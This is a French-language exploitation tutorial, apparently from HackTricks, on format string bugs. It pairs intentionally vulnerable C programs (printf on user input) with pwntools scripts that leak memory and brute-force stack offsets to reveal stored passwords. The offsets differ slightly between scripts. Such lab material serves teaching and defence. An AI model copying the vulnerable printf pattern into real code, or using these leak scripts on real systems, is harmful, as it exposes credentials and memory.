# Chaînes de format - Exemple de lecture arbitraire {{#include ../../banners/hacktricks-training.md}} ## Lire le binaire de départ ### Code ```c #include int main(void) { char buffer[30]; fgets(buffer, sizeof(buffer), stdin); printf(buffer); return 0; } ``` Compilez-le avec : ```python clang -o fs-read fs-read.c -Wno-format-security -no-pie ``` ### Exploiter ```python from pwn import * p = process('./fs-read') payload = f"%11$s|||||".encode() payload += p64(0x00400000) p.sendline(payload) log.info(p.clean()) ``` - Le **décalage est de 11** car en plaçant plusieurs A et en **brute-forçant** avec une boucle de 0 à 50, il a été trouvé qu'à un décalage de 11 et avec 5 caractères supplémentaires (pipes `|` dans notre cas), il est possible de contrôler une adresse complète. - J'ai utilisé **`%11$p`** avec un remplissage jusqu'à ce que l'adresse soit entièrement 0x4141414141414141. - La **charge utile de la chaîne de format est AVANT l'adresse** car le **printf s'arrête de lire à un octet nul**, donc si nous envoyons l'adresse puis la chaîne de format, le printf n'atteindra jamais la chaîne de format car un octet nul sera trouvé avant. - L'adresse sélectionnée est 0x00400000 car c'est là que le binaire commence (pas de PIE).
## Lire les mots de passe ```c #include #include char bss_password[20] = "hardcodedPassBSS"; // Password in BSS int main() { char stack_password[20] = "secretStackPass"; // Password in stack char input1[20], input2[20]; printf("Enter first password: "); scanf("%19s", input1); printf("Enter second password: "); scanf("%19s", input2); // Vulnerable printf printf(input1); printf("\n"); // Check both passwords if (strcmp(input1, stack_password) == 0 && strcmp(input2, bss_password) == 0) { printf("Access Granted.\n"); } else { printf("Access Denied.\n"); } return 0; } ``` Compilez-le avec : ```bash clang -o fs-read fs-read.c -Wno-format-security ``` ### Lire depuis la pile Le **`stack_password`** sera stocké dans la pile car c'est une variable locale, donc il suffit d'abuser de printf pour afficher le contenu de la pile. C'est une exploitation pour BF les 100 premières positions afin de révéler les mots de passe de la pile : ```python from pwn import * for i in range(100): print(f"Try: {i}") payload = f"%{i}$s\na".encode() p = process("./fs-read") p.sendline(payload) output = p.clean() print(output) p.close() ``` Dans l'image, il est possible de voir que nous pouvons leak le mot de passe de la pile à la `10ème` position :
### Lire les données En exécutant le même exploit mais avec `%p` au lieu de `%s`, il est possible de leak une adresse de tas depuis la pile à `%25$p`. De plus, en comparant l'adresse leakée (`0xaaaab7030894`) avec la position du mot de passe en mémoire dans ce processus, nous pouvons obtenir la différence d'adresses :
Il est maintenant temps de trouver comment contrôler 1 adresse dans la pile pour y accéder depuis la deuxième vulnérabilité de chaîne de format : ```python from pwn import * def leak_heap(p): p.sendlineafter(b"first password:", b"%5$p") p.recvline() response = p.recvline().strip()[2:] #Remove new line and "0x" prefix return int(response, 16) for i in range(30): p = process("./fs-read") heap_leak_addr = leak_heap(p) print(f"Leaked heap: {hex(heap_leak_addr)}") password_addr = heap_leak_addr - 0x126a print(f"Try: {i}") payload = f"%{i}$p|||".encode() payload += b"AAAAAAAA" p.sendline(payload) output = p.clean() print(output.decode("utf-8")) p.close() ``` Et il est possible de voir cela dans le **try 14** avec le passage utilisé, nous pouvons contrôler une adresse :
### Exploit ```python from pwn import * p = process("./fs-read") def leak_heap(p): # At offset 25 there is a heap leak p.sendlineafter(b"first password:", b"%25$p") p.recvline() response = p.recvline().strip()[2:] #Remove new line and "0x" prefix return int(response, 16) heap_leak_addr = leak_heap(p) print(f"Leaked heap: {hex(heap_leak_addr)}") # Offset calculated from the leaked position to the possition of the pass in memory password_addr = heap_leak_addr + 0x1f7bc print(f"Calculated address is: {hex(password_addr)}") # At offset 14 we can control the addres, so use %s to read the string from that address payload = f"%14$s|||".encode() payload += p64(password_addr) p.sendline(payload) output = p.clean() print(output) p.close() ```
{{#include ../../banners/hacktricks-training.md}}